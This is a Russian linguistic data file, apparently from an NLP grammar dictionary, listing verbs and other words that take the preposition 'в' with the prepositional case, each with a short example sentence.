инфинитив:проводить{ вид:несоверш }, // Кузбасские депутаты проводят в Кемерове прием граждан
глагол:проводить{ вид:несоверш },
деепричастие:проводя{},
rus_verbs:отсутствовать{}, // Хозяйка квартиры в этот момент отсутствовала
rus_verbs:доложить{}, // об итогах своего визита он намерен доложить в американском сенате и Белом доме (ДОЛОЖИТЬ ОБ, В предл)
rus_verbs:ИЗДЕВАТЬСЯ{}, // В Эйлате издеваются над туристами (ИЗДЕВАТЬСЯ В предл)
rus_verbs:НАРУШИТЬ{}, // В нескольких регионах нарушено наземное транспортное сообщение (НАРУШИТЬ В предл)
rus_verbs:БЕЖАТЬ{}, // далеко внизу во тьме бежала невидимая река (БЕЖАТЬ В предл)
rus_verbs:СОБРАТЬСЯ{}, // Дмитрий оглядел собравшихся во дворе мальчишек (СОБРАТЬСЯ В предл)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // далеко вверху во тьме послышался ответ (ПОСЛЫШАТЬСЯ В предл)
rus_verbs:ПОКАЗАТЬСЯ{}, // во дворе показалась высокая фигура (ПОКАЗАТЬСЯ В предл)
rus_verbs:УЛЫБНУТЬСЯ{}, // Дмитрий горько улыбнулся во тьме (УЛЫБНУТЬСЯ В предл)
rus_verbs:ТЯНУТЬСЯ{}, // убежища тянулись во всех направлениях (ТЯНУТЬСЯ В предл)
rus_verbs:РАНИТЬ{}, // В американском университете ранили человека (РАНИТЬ В предл)
rus_verbs:ЗАХВАТИТЬ{}, // Пираты освободили корабль, захваченный в Гвинейском заливе (ЗАХВАТИТЬ В предл)
rus_verbs:РАЗБЕГАТЬСЯ{}, // люди разбегались во всех направлениях (РАЗБЕГАТЬСЯ В предл)
rus_verbs:ПОГАСНУТЬ{}, // во всем доме погас свет (ПОГАСНУТЬ В предл)
rus_verbs:ПОШЕВЕЛИТЬСЯ{}, // Дмитрий пошевелился во сне (ПОШЕВЕЛИТЬСЯ В предл)
rus_verbs:ЗАСТОНАТЬ{}, // раненый застонал во сне (ЗАСТОНАТЬ В предл)
прилагательное:ВИНОВАТЫЙ{}, // во всем виновато вино (ВИНОВАТЫЙ В)
rus_verbs:ОСТАВЛЯТЬ{}, // США оставляют в районе Персидского залива только один авианосец (ОСТАВЛЯТЬ В предл)
rus_verbs:ОТКАЗЫВАТЬСЯ{}, // В России отказываются от планов авиагруппы в Арктике (ОТКАЗЫВАТЬСЯ В предл)
rus_verbs:ЛИКВИДИРОВАТЬ{}, // В Кабардино-Балкарии ликвидирован подпольный завод по переработке нефти (ЛИКВИДИРОВАТЬ В предл)
rus_verbs:РАЗОБЛАЧИТЬ{}, // В США разоблачили крупнейшую махинацию с кредитками (РАЗОБЛАЧИТЬ В предл)
rus_verbs:СХВАТИТЬ{}, // их схватили во сне (СХВАТИТЬ В предл)
rus_verbs:НАЧАТЬ{}, // В Белгороде начали сбор подписей за отставку мэра (НАЧАТЬ В предл)
rus_verbs:РАСТИ{}, // Cамая маленькая муха растёт в голове муравья (РАСТИ В предл)
rus_verbs:похитить{}, // Двое россиян, похищенных террористами в Сирии, освобождены (похитить в предл)
rus_verbs:УЧАСТВОВАТЬ{}, // были застрелены два испанских гражданских гвардейца , участвовавших в слежке (УЧАСТВОВАТЬ В)
rus_verbs:УСЫНОВИТЬ{}, // Американцы забирают усыновленных в России детей (УСЫНОВИТЬ В)
rus_verbs:ПРОИЗВЕСТИ{}, // вы не увидите мясо или молоко , произведенное в районе (ПРОИЗВЕСТИ В предл)
rus_verbs:ОРИЕНТИРОВАТЬСЯ{}, // призван помочь госслужащему правильно ориентироваться в сложных нравственных коллизиях (ОРИЕНТИРОВАТЬСЯ В)
rus_verbs:ПОВРЕДИТЬ{}, // В зале игровых автоматов повреждены стены и потолок (ПОВРЕДИТЬ В предл)
rus_verbs:ИЗЪЯТЬ{}, // В настоящее время в детском учреждении изъяты суточные пробы пищи (ИЗЪЯТЬ В предл)
rus_verbs:СОДЕРЖАТЬСЯ{}, // осужденных , содержащихся в помещениях штрафного изолятора (СОДЕРЖАТЬСЯ В)
rus_verbs:ОТЧИСЛИТЬ{}, // был отчислен за неуспеваемость в 2007 году (ОТЧИСЛИТЬ В предл)
rus_verbs:проходить{}, // находился на санкционированном митинге , проходившем в рамках празднования Дня народного единства (проходить в предл)
rus_verbs:ПОДУМЫВАТЬ{}, // сейчас в правительстве Приамурья подумывают о создании специального пункта помощи туристам (ПОДУМЫВАТЬ В)
rus_verbs:ОТРАПОРТОВЫВАТЬ{}, // главы субъектов не просто отрапортовывали в Москве (ОТРАПОРТОВЫВАТЬ В предл)
rus_verbs:ВЕСТИСЬ{}, // в городе ведутся работы по установке праздничной иллюминации (ВЕСТИСЬ В)
rus_verbs:ОДОБРИТЬ{}, // Одобренным в первом чтении законопроектом (ОДОБРИТЬ В)
rus_verbs:ЗАМЫЛИТЬСЯ{}, // ему легче исправлять , то , что замылилось в глазах предыдущего руководства (ЗАМЫЛИТЬСЯ В)
rus_verbs:АВТОРИЗОВАТЬСЯ{}, // потом имеют право авторизоваться в системе Международного бакалавриата (АВТОРИЗОВАТЬСЯ В)
rus_verbs:ОПУСТИТЬСЯ{}, // Россия опустилась в списке на шесть позиций (ОПУСТИТЬСЯ В предл)
rus_verbs:СГОРЕТЬ{}, // Совладелец сгоревшего в Бразилии ночного клуба сдался полиции (СГОРЕТЬ В)
частица:нет{}, // В этом нет сомнения.
частица:нету{}, // В этом нету сомнения.
rus_verbs:поджечь{}, // Поджегший себя в Москве мужчина оказался ветераном-афганцем
rus_verbs:ввести{}, // В Молдавии введен запрет на амнистию или помилование педофилов.
прилагательное:ДОСТУПНЫЙ{}, // Наиболее интересные таблички доступны в основной экспозиции музея (ДОСТУПНЫЙ В)
rus_verbs:ПОВИСНУТЬ{}, // вопрос повис в мглистом демократическом воздухе (ПОВИСНУТЬ В)
rus_verbs:ВЗОРВАТЬ{}, // В Ираке смертник взорвал в мечети группу туркменов (ВЗОРВАТЬ В)
rus_verbs:ОТНЯТЬ{}, // В Финляндии у россиянки, прибывшей по туристической визе, отняли детей (ОТНЯТЬ В)
rus_verbs:НАЙТИ{}, // Я недавно посетил врача и у меня в глазах нашли какую-то фигню (НАЙТИ В предл)
rus_verbs:ЗАСТРЕЛИТЬСЯ{}, // Девушка, застрелившаяся в центре Киева, была замешана в скандале с влиятельными людьми (ЗАСТРЕЛИТЬСЯ В)
rus_verbs:стартовать{}, // В Страсбурге сегодня стартует зимняя сессия Парламентской ассамблеи Совета Европы (стартовать в)
rus_verbs:ЗАКЛАДЫВАТЬСЯ{}, // Отношение к деньгам закладывается в детстве (ЗАКЛАДЫВАТЬСЯ В)
rus_verbs:НАПИВАТЬСЯ{}, // Депутатам помешают напиваться в здании Госдумы (НАПИВАТЬСЯ В)
rus_verbs:ВЫПРАВИТЬСЯ{}, // Прежде всего было заявлено, что мировая экономика каким-то образом сама выправится в процессе бизнес-цикла (ВЫПРАВИТЬСЯ В)
rus_verbs:ЯВЛЯТЬСЯ{}, // она являлась ко мне во всех моих снах (ЯВЛЯТЬСЯ В)
rus_verbs:СТАЖИРОВАТЬСЯ{}, // сейчас я стажируюсь в одной компании (СТАЖИРОВАТЬСЯ В)
rus_verbs:ОБСТРЕЛЯТЬ{}, // Уроженцы Чечни, обстрелявшие полицейских в центре Москвы, арестованы (ОБСТРЕЛЯТЬ В)
rus_verbs:РАСПРОСТРАНИТЬ{}, // Воски — распространённые в растительном и животном мире сложные эфиры высших жирных кислот и высших высокомолекулярных спиртов (РАСПРОСТРАНИТЬ В)
rus_verbs:ПРИВЕСТИ{}, // Сравнительная фугасность некоторых взрывчатых веществ приведена в следующей таблице (ПРИВЕСТИ В)
rus_verbs:ЗАПОДОЗРИТЬ{}, // Чиновников Минкультуры заподозрили в афере с заповедными землями (ЗАПОДОЗРИТЬ В)
rus_verbs:НАСТУПАТЬ{}, // В Гренландии стали наступать ледники (НАСТУПАТЬ В)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // В истории Земли выделяются следующие ледниковые эры (ВЫДЕЛЯТЬСЯ В)
rus_verbs:ПРЕДСТАВИТЬ{}, // Данные представлены в хронологическом порядке (ПРЕДСТАВИТЬ В)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
rus_verbs:ПОДАВАТЬ{}, // Готовые компоты подают в столовых и кафе (ПОДАВАТЬ В)
rus_verbs:ГОТОВИТЬ{}, // Сегодня компот готовят в домашних условиях из сухофруктов или замороженных фруктов и ягод (ГОТОВИТЬ В)
rus_verbs:ВОЗДЕЛЫВАТЬСЯ{}, // в настоящее время он повсеместно возделывается в огородах (ВОЗДЕЛЫВАТЬСЯ В)
rus_verbs:РАСКЛАДЫВАТЬ{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:РАСКЛАДЫВАТЬСЯ{},
rus_verbs:СОБИРАТЬСЯ{}, // Обыкновенно огурцы собираются в полуспелом состоянии (СОБИРАТЬСЯ В)
rus_verbs:ПРОГРЕМЕТЬ{}, // В торговом центре Ижевска прогремел взрыв (ПРОГРЕМЕТЬ В)
rus_verbs:СНЯТЬ{}, // чтобы снять их во всей красоте. (СНЯТЬ В)
rus_verbs:ЯВИТЬСЯ{}, // она явилась к нему во сне. (ЯВИТЬСЯ В)
rus_verbs:ВЕРИТЬ{}, // мы же во всем верили капитану. (ВЕРИТЬ В предл)
rus_verbs:выдержать{}, // Игра выдержана в научно-фантастическом стиле. (ВЫДЕРЖАННЫЙ В)
rus_verbs:ПРЕОДОЛЕТЬ{}, // мы пытались преодолеть ее во многих местах. (ПРЕОДОЛЕТЬ В)
инфинитив:НАПИСАТЬ{ aux stress="напис^ать" }, // Программа, написанная в спешке, выполнила недопустимую операцию. (НАПИСАТЬ В)
глагол:НАПИСАТЬ{ aux stress="напис^ать" },
прилагательное:НАПИСАННЫЙ{},
rus_verbs:ЕСТЬ{}, // ты даже во сне ел. (ЕСТЬ/кушать В)
rus_verbs:УСЕСТЬСЯ{}, // Он удобно уселся в кресле. (УСЕСТЬСЯ В)
rus_verbs:ТОРГОВАТЬ{}, // Он торгует в палатке. (ТОРГОВАТЬ В)
rus_verbs:СОВМЕСТИТЬ{}, // Он совместил в себе писателя и художника. (СОВМЕСТИТЬ В)
rus_verbs:ЗАБЫВАТЬ{}, // об этом нельзя забывать даже во сне. (ЗАБЫВАТЬ В)
rus_verbs:поговорить{}, // Давайте поговорим об этом в присутствии адвоката
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
rus_verbs:раскрыть{}, // В России раскрыли крупнейшую в стране сеть фальшивомонетчиков (РАСКРЫТЬ В)
rus_verbs:соединить{}, // соединить в себе (СОЕДИНИТЬ В предл)
rus_verbs:избрать{}, // В Южной Корее избран новый президент (ИЗБРАТЬ В предл)
rus_verbs:проводиться{}, // Обыски проводятся в воронежском Доме прав человека (ПРОВОДИТЬСЯ В)
безлич_глагол:хватает{}, // В этой статье не хватает ссылок на источники информации. (БЕЗЛИЧ хватать в)
rus_verbs:наносить{}, // В ближнем бою наносит мощные удары своим костлявым кулаком. (НАНОСИТЬ В + предл.)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
прилагательное:известный{}, // В Европе сахар был известен ещё римлянам. (ИЗВЕСТНЫЙ В)
rus_verbs:выработать{}, // Способы, выработанные во Франции, перешли затем в Германию и другие страны Европы. (ВЫРАБОТАТЬ В)
rus_verbs:КУЛЬТИВИРОВАТЬСЯ{}, // Культивируется в регионах с умеренным климатом с умеренным количеством осадков и требует плодородной почвы. (КУЛЬТИВИРОВАТЬСЯ В)
rus_verbs:чаять{}, // мама души не чаяла в своих детях (ЧАЯТЬ В)
rus_verbs:улыбаться{}, // Вадим улыбался во сне. (УЛЫБАТЬСЯ В)
rus_verbs:растеряться{}, // Приезжие растерялись в бетонном лабиринте улиц (РАСТЕРЯТЬСЯ В)
rus_verbs:выть{}, // выли волки где-то в лесу (ВЫТЬ В)
rus_verbs:ЗАВЕРИТЬ{}, // выступавший заверил нас в намерении выполнить обещание (ЗАВЕРИТЬ В)
rus_verbs:ИСЧЕЗНУТЬ{}, // звери исчезли во мраке. (ИСЧЕЗНУТЬ В)
rus_verbs:ВСТАТЬ{}, // встать во главе человечества. (ВСТАТЬ В)
rus_verbs:УПОТРЕБЛЯТЬ{}, // В Тибете употребляют кирпичный зелёный чай. (УПОТРЕБЛЯТЬ В)
rus_verbs:ПОДАВАТЬСЯ{}, // Напиток охлаждается и подаётся в холодном виде. (ПОДАВАТЬСЯ В)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // в игре используются текстуры большего разрешения (ИСПОЛЬЗОВАТЬСЯ В)
rus_verbs:объявить{}, // В газете объявили о конкурсе.
rus_verbs:ВСПЫХНУТЬ{}, // во мне вспыхнул гнев. (ВСПЫХНУТЬ В)
rus_verbs:КРЫТЬСЯ{}, // В его словах кроется угроза. (КРЫТЬСЯ В)
rus_verbs:подняться{}, // В классе вдруг поднялся шум. (подняться в)
rus_verbs:наступить{}, // В классе наступила полная тишина. (наступить в)
rus_verbs:кипеть{}, // В нём кипит злоба. (кипеть в)
rus_verbs:соединиться{}, // В нём соединились храбрость и великодушие. (соединиться в)
инфинитив:ПАРИТЬ{ aux stress="пар^ить"}, // Высоко в небе парит орёл, плавно описывая круги. (ПАРИТЬ В)
глагол:ПАРИТЬ{ aux stress="пар^ить"},
деепричастие:паря{ aux stress="пар^я" },
прилагательное:ПАРЯЩИЙ{},
прилагательное:ПАРИВШИЙ{},
rus_verbs:СИЯТЬ{}, // Главы собора сияли в лучах солнца. (СИЯТЬ В)
rus_verbs:РАСПОЛОЖИТЬ{}, // Гостиница расположена глубоко в горах. (РАСПОЛОЖИТЬ В)
rus_verbs:развиваться{}, // Действие в комедии развивается в двух планах. (развиваться в)
rus_verbs:ПОСАДИТЬ{}, // Дети посадили у нас во дворе цветы. (ПОСАДИТЬ В)
rus_verbs:ИСКОРЕНЯТЬ{}, // Дурные привычки следует искоренять в самом начале. (ИСКОРЕНЯТЬ В)
rus_verbs:ВОССТАНОВИТЬ{}, // Его восстановили в правах. (ВОССТАНОВИТЬ В)
rus_verbs:ПОЛАГАТЬСЯ{}, // мы полагаемся на него в этих вопросах (ПОЛАГАТЬСЯ В)
rus_verbs:УМИРАТЬ{}, // они умирали во сне. (УМИРАТЬ В)
rus_verbs:ПРИБАВИТЬ{}, // Она сильно прибавила в весе. (ПРИБАВИТЬ В)
rus_verbs:посмотреть{}, // Посмотрите в списке. (посмотреть в)
rus_verbs:производиться{}, // Выдача новых паспортов будет производиться в следующем порядке (производиться в)
rus_verbs:принять{}, // Документ принят в следующей редакции (принять в)
rus_verbs:сверкнуть{}, // меч его сверкнул во тьме. (сверкнуть в)
rus_verbs:ВЫРАБАТЫВАТЬ{}, // ты должен вырабатывать в себе силу воли (ВЫРАБАТЫВАТЬ В)
rus_verbs:достать{}, // Эти сведения мы достали в Волгограде. (достать в)
rus_verbs:звучать{}, // в доме звучала музыка (звучать в)
rus_verbs:колебаться{}, // колеблется в выборе (колебаться в)
rus_verbs:мешать{}, // мешать в кастрюле суп (мешать в)
rus_verbs:нарастать{}, // во мне нарастал гнев (нарастать в)
rus_verbs:отбыть{}, // Вадим отбыл в неизвестном направлении (отбыть в)
rus_verbs:светиться{}, // во всем доме светилось только окно ее спальни. (светиться в)
rus_verbs:вычитывать{}, // вычитывать в книге
rus_verbs:гудеть{}, // У него в ушах гудит.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:поблескивать{}, // Красивое стеклышко поблескивало в пыльной траве у дорожки.
rus_verbs:разойтись{}, // Они разошлись в темноте.
rus_verbs:прибежать{}, // Мальчик прибежал в слезах.
rus_verbs:биться{}, // Она билась в истерике.
rus_verbs:регистрироваться{}, // регистрироваться в системе
rus_verbs:считать{}, // я буду считать в уме
rus_verbs:трахаться{}, // трахаться в гамаке
rus_verbs:сконцентрироваться{}, // сконцентрироваться в одной точке
rus_verbs:разрушать{}, // разрушать в дробилке
rus_verbs:засидеться{}, // засидеться в гостях
rus_verbs:засиживаться{}, // засиживаться в гостях
rus_verbs:утопить{}, // утопить лодку в реке (утопить в реке)
rus_verbs:навестить{}, // навестить в доме престарелых
rus_verbs:запомнить{}, // запомнить в кэше
rus_verbs:убивать{}, // убивать в помещении полиции (-score убивать неодуш. дом.)
rus_verbs:базироваться{}, // установка базируется в черте города (ngram черта города - проверить что есть проверка)
rus_verbs:покупать{}, // Чаще всего россияне покупают в интернете бытовую технику.
rus_verbs:ходить{}, // ходить в пальто (сделать ХОДИТЬ + в + ОДЕЖДА предл.п.)
rus_verbs:заложить{}, // диверсанты заложили в помещении бомбу
rus_verbs:оглядываться{}, // оглядываться в зеркале
rus_verbs:нарисовать{}, // нарисовать в тетрадке
rus_verbs:пробить{}, // пробить отверствие в стене
rus_verbs:повертеть{}, // повертеть в руке
rus_verbs:вертеть{}, // Я вертел в руках
rus_verbs:рваться{}, // Веревка рвется в месте надреза
rus_verbs:распространяться{}, // распространяться в среде наркоманов
rus_verbs:попрощаться{}, // попрощаться в здании морга
rus_verbs:соображать{}, // соображать в уме
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, // просыпаться в чужой кровати
rus_verbs:заехать{}, // Коля заехал в гости (в гости - устойчивый наречный оборот)
rus_verbs:разобрать{}, // разобрать в гараже
rus_verbs:помереть{}, // помереть в пути
rus_verbs:различить{}, // различить в темноте
rus_verbs:рисовать{}, // рисовать в графическом редакторе
rus_verbs:проследить{}, // проследить в записях камер слежения
rus_verbs:совершаться{}, // Правосудие совершается в суде
rus_verbs:задремать{}, // задремать в кровати
rus_verbs:ругаться{}, // ругаться в комнате
rus_verbs:зазвучать{}, // зазвучать в радиоприемниках
rus_verbs:задохнуться{}, // задохнуться в воде
rus_verbs:порождать{}, // порождать в неокрепших умах
rus_verbs:отдыхать{}, // отдыхать в санатории
rus_verbs:упоминаться{}, // упоминаться в предыдущем сообщении
rus_verbs:образовать{}, // образовать в пробирке темную взвесь
rus_verbs:отмечать{}, // отмечать в списке
rus_verbs:подчеркнуть{}, // подчеркнуть в блокноте
rus_verbs:плясать{}, // плясать в откружении незнакомых людей
rus_verbs:повысить{}, // повысить в звании
rus_verbs:поджидать{}, // поджидать в подъезде
rus_verbs:отказать{}, // отказать в пересмотре дела
rus_verbs:раствориться{}, // раствориться в бензине
rus_verbs:отражать{}, // отражать в стихах
rus_verbs:дремать{}, // дремать в гамаке
rus_verbs:применяться{}, // применяться в домашних условиях
rus_verbs:присниться{}, // присниться во сне
rus_verbs:трястись{}, // трястись в драндулете
rus_verbs:сохранять{}, // сохранять в неприкосновенности
rus_verbs:расстрелять{}, // расстрелять в ложбине
rus_verbs:рассчитать{}, // рассчитать в программе
rus_verbs:перебирать{}, // перебирать в руке
rus_verbs:разбиться{}, // разбиться в аварии
rus_verbs:поискать{}, // поискать в углу
rus_verbs:мучиться{}, // мучиться в тесной клетке
rus_verbs:замелькать{}, // замелькать в телевизоре
rus_verbs:грустить{}, // грустить в одиночестве
rus_verbs:крутить{}, // крутить в банке
rus_verbs:объявиться{}, // объявиться в городе
rus_verbs:подготовить{}, // подготовить в тайне
rus_verbs:различать{}, // различать в смеси
rus_verbs:обнаруживать{}, // обнаруживать в крови
rus_verbs:киснуть{}, // киснуть в захолустье
rus_verbs:оборваться{}, // оборваться в начале фразы
rus_verbs:запутаться{}, // запутаться в веревках
rus_verbs:общаться{}, // общаться в интимной обстановке
rus_verbs:сочинить{}, // сочинить в ресторане
rus_verbs:изобрести{}, // изобрести в домашней лаборатории
rus_verbs:прокомментировать{}, // прокомментировать в своем блоге
rus_verbs:давить{}, // давить в зародыше
rus_verbs:повториться{}, // повториться в новом обличье
rus_verbs:отставать{}, // отставать в общем зачете
rus_verbs:разработать{}, // разработать в лаборатории
rus_verbs:качать{}, // качать в кроватке
rus_verbs:заменить{}, // заменить в двигателе
rus_verbs:задыхаться{}, // задыхаться в душной и влажной атмосфере
rus_verbs:забегать{}, // забегать в спешке
rus_verbs:наделать{}, // наделать в решении ошибок
rus_verbs:исказиться{}, // исказиться в кривом зеркале
rus_verbs:тушить{}, // тушить в помещении пожар
rus_verbs:охранять{}, // охранять в здании входы
rus_verbs:приметить{}, // приметить в кустах
rus_verbs:скрыть{}, // скрыть в складках одежды
rus_verbs:удерживать{}, // удерживать в заложниках
rus_verbs:увеличиваться{}, // увеличиваться в размере
rus_verbs:красоваться{}, // красоваться в новом платье
rus_verbs:сохраниться{}, // сохраниться в тепле
rus_verbs:лечить{}, // лечить в стационаре
rus_verbs:смешаться{}, // смешаться в баке
rus_verbs:прокатиться{}, // прокатиться в троллейбусе
rus_verbs:договариваться{}, // договариваться в закрытом кабинете
rus_verbs:опубликовать{}, // опубликовать в официальном блоге
rus_verbs:охотиться{}, // охотиться в прериях
rus_verbs:отражаться{}, // отражаться в окне
rus_verbs:понизить{}, // понизить в должности
rus_verbs:обедать{}, // обедать в ресторане
rus_verbs:посидеть{}, // посидеть в тени
rus_verbs:сообщаться{}, // сообщаться в оппозиционной газете
rus_verbs:свершиться{}, // свершиться в суде
rus_verbs:ночевать{}, // ночевать в гостинице
rus_verbs:темнеть{}, // темнеть в воде
rus_verbs:гибнуть{}, // гибнуть в застенках
rus_verbs:усиливаться{}, // усиливаться в направлении главного удара
rus_verbs:расплыться{}, // расплыться в улыбке
rus_verbs:превышать{}, // превышать в несколько раз
rus_verbs:проживать{}, // проживать в отдельной коморке
rus_verbs:голубеть{}, // голубеть в тепле
rus_verbs:исследовать{}, // исследовать в естественных условиях
rus_verbs:обитать{}, // обитать в лесу
rus_verbs:скучать{}, // скучать в одиночестве
rus_verbs:сталкиваться{}, // сталкиваться в воздухе
rus_verbs:таиться{}, // таиться в глубине
rus_verbs:спасать{}, // спасать в море
rus_verbs:заблудиться{}, // заблудиться в лесу
rus_verbs:создаться{}, // создаться в новом виде
rus_verbs:пошарить{}, // пошарить в кармане
rus_verbs:планировать{}, // планировать в программе
rus_verbs:отбить{}, // отбить в нижней части
rus_verbs:отрицать{}, // отрицать в суде свою вину
rus_verbs:основать{}, // основать в пустыне новый город
rus_verbs:двоить{}, // двоить в глазах
rus_verbs:устоять{}, // устоять в лодке
rus_verbs:унять{}, // унять в ногах дрожь
rus_verbs:отзываться{}, // отзываться в обзоре
rus_verbs:притормозить{}, // притормозить в траве
rus_verbs:читаться{}, // читаться в глазах
rus_verbs:житься{}, // житься в деревне
rus_verbs:заиграть{}, // заиграть в жилах
rus_verbs:шевелить{}, // шевелить в воде
rus_verbs:зазвенеть{}, // зазвенеть в ушах
rus_verbs:зависнуть{}, // зависнуть в библиотеке
rus_verbs:затаить{}, // затаить в душе обиду
rus_verbs:сознаться{}, // сознаться в совершении
rus_verbs:протекать{}, // протекать в легкой форме
rus_verbs:выясняться{}, // выясняться в ходе эксперимента
rus_verbs:скрестить{}, // скрестить в неволе
rus_verbs:наводить{}, // наводить в комнате порядок
rus_verbs:значиться{}, // значиться в документах
rus_verbs:заинтересовать{}, // заинтересовать в получении результатов
rus_verbs:познакомить{}, // познакомить в непринужденной обстановке
rus_verbs:рассеяться{}, // рассеяться в воздухе
rus_verbs:грохнуть{}, // грохнуть в подвале
rus_verbs:обвинять{}, // обвинять в вымогательстве
rus_verbs:столпиться{}, // столпиться в фойе
rus_verbs:порыться{}, // порыться в сумке
rus_verbs:ослабить{}, // ослабить в верхней части
rus_verbs:обнаруживаться{}, // обнаруживаться в кармане куртки
rus_verbs:спастись{}, // спастись в хижине
rus_verbs:прерваться{}, // прерваться в середине фразы
rus_verbs:применять{}, // применять в повседневной работе
rus_verbs:строиться{}, // строиться в зоне отчуждения
rus_verbs:путешествовать{}, // путешествовать в самолете
rus_verbs:побеждать{}, // побеждать в честной битве
rus_verbs:погубить{}, // погубить в себе артиста
rus_verbs:рассматриваться{}, // рассматриваться в следующей главе
rus_verbs:продаваться{}, // продаваться в специализированном магазине
rus_verbs:разместиться{}, // разместиться в аудитории
rus_verbs:повидать{}, // повидать в жизни
rus_verbs:настигнуть{}, // настигнуть в пригородах
rus_verbs:сгрудиться{}, // сгрудиться в центре загона
rus_verbs:укрыться{}, // укрыться в доме
rus_verbs:расплакаться{}, // расплакаться в суде
rus_verbs:пролежать{}, // пролежать в канаве
rus_verbs:замерзнуть{}, // замерзнуть в ледяной воде
rus_verbs:поскользнуться{}, // поскользнуться в коридоре
rus_verbs:таскать{}, // таскать в руках
rus_verbs:нападать{}, // нападать в вольере
rus_verbs:просматривать{}, // просматривать в браузере
rus_verbs:обдумать{}, // обдумать в дороге
rus_verbs:обвинить{}, // обвинить в измене
rus_verbs:останавливать{}, // останавливать в дверях
rus_verbs:теряться{}, // теряться в догадках
rus_verbs:погибать{}, // погибать в бою
rus_verbs:обозначать{}, // обозначать в списке
rus_verbs:запрещать{}, // запрещать в парке
rus_verbs:долететь{}, // долететь в вертолёте
rus_verbs:тесниться{}, // тесниться в каморке
rus_verbs:уменьшаться{}, // уменьшаться в размере
rus_verbs:издавать{}, // издавать в небольшом издательстве
rus_verbs:хоронить{}, // хоронить в море
rus_verbs:перемениться{}, // перемениться в лице
rus_verbs:установиться{}, // установиться в северных областях
rus_verbs:прикидывать{}, // прикидывать в уме
rus_verbs:затаиться{}, // затаиться в траве
rus_verbs:раздобыть{}, // раздобыть в аптеке
rus_verbs:перебросить{}, // перебросить в товарном составе
rus_verbs:погружаться{}, // погружаться в батискафе
rus_verbs:поживать{}, // поживать в одиночестве
rus_verbs:признаваться{}, // признаваться в любви
rus_verbs:захватывать{}, // захватывать в здании
rus_verbs:покачиваться{}, // покачиваться в лодке
rus_verbs:крутиться{}, // крутиться в колесе
rus_verbs:помещаться{}, // помещаться в ящике
rus_verbs:питаться{}, // питаться в столовой
rus_verbs:отдохнуть{}, // отдохнуть в пансионате
rus_verbs:кататься{}, // кататься в коляске
rus_verbs:поработать{}, // поработать в цеху
rus_verbs:подразумевать{}, // подразумевать в задании
rus_verbs:ограбить{}, // ограбить в подворотне
rus_verbs:преуспеть{}, // преуспеть в бизнесе
rus_verbs:заерзать{}, // заерзать в кресле
rus_verbs:разъяснить{}, // разъяснить в другой статье
rus_verbs:продвинуться{}, // продвинуться в изучении
rus_verbs:поколебаться{}, // поколебаться в начале
rus_verbs:засомневаться{}, // засомневаться в честности
rus_verbs:приникнуть{}, // приникнуть в уме
rus_verbs:скривить{}, // скривить в усмешке
rus_verbs:рассечь{}, // рассечь в центре опухоли
rus_verbs:перепутать{}, // перепутать в роддоме
rus_verbs:посмеяться{}, // посмеяться в перерыве
rus_verbs:отмечаться{}, // отмечаться в полицейском участке
rus_verbs:накопиться{}, // накопиться в отстойнике
rus_verbs:уносить{}, // уносить в руках
rus_verbs:навещать{}, // навещать в больнице
rus_verbs:остыть{}, // остыть в проточной воде
rus_verbs:запереться{}, // запереться в комнате
rus_verbs:обогнать{}, // обогнать в первом круге
rus_verbs:убеждаться{}, // убеждаться в неизбежности
rus_verbs:подбирать{}, // подбирать в магазине
rus_verbs:уничтожать{}, // уничтожать в полете
rus_verbs:путаться{}, // путаться в показаниях
rus_verbs:притаиться{}, // притаиться в темноте
rus_verbs:проплывать{}, // проплывать в лодке
rus_verbs:засесть{}, // засесть в окопе
rus_verbs:подцепить{}, // подцепить в баре
rus_verbs:насчитать{}, // насчитать в диктанте несколько ошибок
rus_verbs:оправдаться{}, // оправдаться в суде
rus_verbs:созреть{}, // созреть в естественных условиях
rus_verbs:раскрываться{}, // раскрываться в подходящих условиях
rus_verbs:ожидаться{}, // ожидаться в верхней части
rus_verbs:одеваться{}, // одеваться в дорогих бутиках
rus_verbs:упрекнуть{}, // упрекнуть в недостатке опыта
rus_verbs:грабить{}, // грабить в подворотне
rus_verbs:ужинать{}, // ужинать в ресторане
rus_verbs:гонять{}, // гонять в жилах
rus_verbs:уверить{}, // уверить в безопасности
rus_verbs:потеряться{}, // потеряться в лесу
rus_verbs:устанавливаться{}, // устанавливаться в комнате
rus_verbs:предоставлять{}, // предоставлять в суде
rus_verbs:протянуться{}, // протянуться в стене
rus_verbs:допрашивать{}, // допрашивать в бункере
rus_verbs:проработать{}, // проработать в кабинете
rus_verbs:сосредоточить{}, // сосредоточить в своих руках
rus_verbs:утвердить{}, // утвердить в должности
rus_verbs:сочинять{}, // сочинять в дороге
rus_verbs:померкнуть{}, // померкнуть в глазах
rus_verbs:показываться{}, // показываться в окошке
rus_verbs:похудеть{}, // похудеть в талии
rus_verbs:проделывать{}, // проделывать в стене
rus_verbs:прославиться{}, // прославиться в интернете
rus_verbs:сдохнуть{}, // сдохнуть в нищете
rus_verbs:раскинуться{}, // раскинуться в степи
rus_verbs:развить{}, // развить в себе способности
rus_verbs:уставать{}, // уставать в цеху
rus_verbs:укрепить{}, // укрепить в земле
rus_verbs:числиться{}, // числиться в списке
rus_verbs:образовывать{}, // образовывать в смеси
rus_verbs:екнуть{}, // екнуть в груди
rus_verbs:одобрять{}, // одобрять в своей речи
rus_verbs:запить{}, // запить в одиночестве
rus_verbs:забыться{}, // забыться в тяжелом сне
rus_verbs:чернеть{}, // чернеть в кислой среде
rus_verbs:размещаться{}, // размещаться в гараже
rus_verbs:соорудить{}, // соорудить в гараже
rus_verbs:развивать{}, // развивать в себе
rus_verbs:пастись{}, // пастись в пойме
rus_verbs:формироваться{}, // формироваться в верхних слоях атмосферы
